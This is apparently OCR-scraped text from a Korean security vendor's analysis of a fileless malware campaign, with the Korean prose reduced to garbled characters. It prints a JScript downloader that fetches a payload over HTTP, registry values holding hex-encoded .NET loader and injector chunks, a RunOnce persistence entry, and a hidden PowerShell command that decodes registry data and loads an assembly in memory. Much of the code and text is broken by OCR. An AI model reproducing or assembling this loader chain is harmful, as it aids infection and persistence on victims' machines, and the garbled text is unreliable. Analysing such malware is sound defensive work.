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V=0
'while (V < 2) {

n = WScript.CreateObject(MSXML2. ServerXMLHTTPY);
s = Math.random().toString([ tr'](2, + 30);

if (WScript.CreateObject("W5sc nell”).ExpandEnvironmentStrings("%USERDNSDOMAIN%") 1= "9%USERDNSDOMAIN%") {

1]

s=5+ 2701407

}

try {
n.open(GET, 'https// + UIV] + /searchphp' + "7zlijeaegdcpexghg=" + s, false);
n.send();

} catch (e) {
return false;

¥
if (n.status === ) {

var t = n.responseText
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https://asec.ahnlab.com/ko/19860/
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“Injector’2 Z5tCt “\HKEY_CURRENT_USER\Software\[A}X}0|E]+'1” 7|0f .NET Loader H}O[L{ 2|7} AtQl=| 11
“HKEY_CURRENT_USER\Software\[AF2X}FO|&]” 7|01l .NET Injector H0[L{2| 7} AtelSIC},
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ab) (7122} REG_SZ
abjg REG_SZ 4d5390000300000004000000ffFf0000bR000000000000004000000000000000000000000000000000000000000000000000000000000...
ab] 1 REG_SZ 08600660051006701820051008201ab0061001b02¢30071003302#41004002c70069004702cd0079005802d30069006102d700090058..
ab]2 REG_SZ 22d01120015121902120002030a0108061512190208051710020215122d01120115122d01120015121902100120104020208050¢1001...
ab)3 REG_SZ 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
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2| (7122 REG_SZ

ab|g REG_SZ yduasqvtagqvyqqffffqvbpagaagvvyqaqaqaqqqgqgqqgqgqaqagaagvvpggqvvewibavevvbyvscdrwbpywyccdrwuyipisotrvovorifisoriwidrvitiwieieifoyr...
ab) 1 REG_SZ rpvegvrbpywagvvyerdritwioverfritwiovordvitwiovifwygwvacroifiwiovorfritwiovordvitwiovifwygwarpvdgurbpyvwbgwwyraggyrutyayrnvwgwaggavve....
ab] 10 REG_SZ towtpwinviywipwibattwinvinwvtpwinatgtbwivawiswigtgtgtgtgtgtpwigtowtywtginavtratuvviiwitwiinwinvviivvinvtovwinvtgtbvwinadpyvtg...
ab] 100 REG_SZ wiiwiiwtowtuvtivvinadivitivtivvtuwtgtatatgiivwiivvineiiwiiwiivwinvilwtgtpwwitgtgtgtatgtgtywthntowtuwnwtowtnatovtnadivetuwwtiviiov._.
ab) 101 REG_SZ ivviivviivvinvwtgtivwigtgtgtgtgtgtuvvtbnwtowtywtowtnadivwtswitivvivwtivwtowtgtgtgtgiivviivviieviivviivviivviivviivwtgtvwtgtgtgtgtgtgtyswiwe ..
ab] 102 REG_SZ tgtgtywitivvtivvipwituwitwigtowbpwbwnwtivwtginvinvtowitwtgtpevinatwntunwtwevitwivanvtpywtywtuntgtgtpwvinadgiywbwvitvwtyvttv..
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o 2|X|: ZFE{\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\

o 04| 0|E{: powershell -Win Hi -Command “$r = [Environment]::GetEnvironmentVariable(‘K’, ‘User’).split();$p=$r[0];$r[0]=";Start-Process $p -
ArgumentList ($r -join * ©) -Win Hi”
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2| X|: AFEE{\HKEY_CURRENT_USER\Environment\K
O|0|E{ | &: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -En
“PAAJACAAZQBIAGgAegBvAG8AaQAgACMAPgAKAHUAPQAKAGUAbgB2ADoAVQBzAGUAcgBOAGEADbQBIADsAZgBVAHIAIAACOACQAaQA9/

clolef C|ZE:

<# ebhzooi #>$u=$env:UserName;for ($i=0;$i -le 700;$i++){$c="HKCU:\SOFTWARE\"+$u+"1"; Try{$a=%a+(Get-IltemProperty -path
$c).$i}Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = [byte[]]::new($hs.Length /
2);for($i=0; $i -It $hs.Length; $i+=2){$Bytes[$i/2] = [convert]:: ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko =
[math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.replace(“#",$ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();
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o http://www.esist.org
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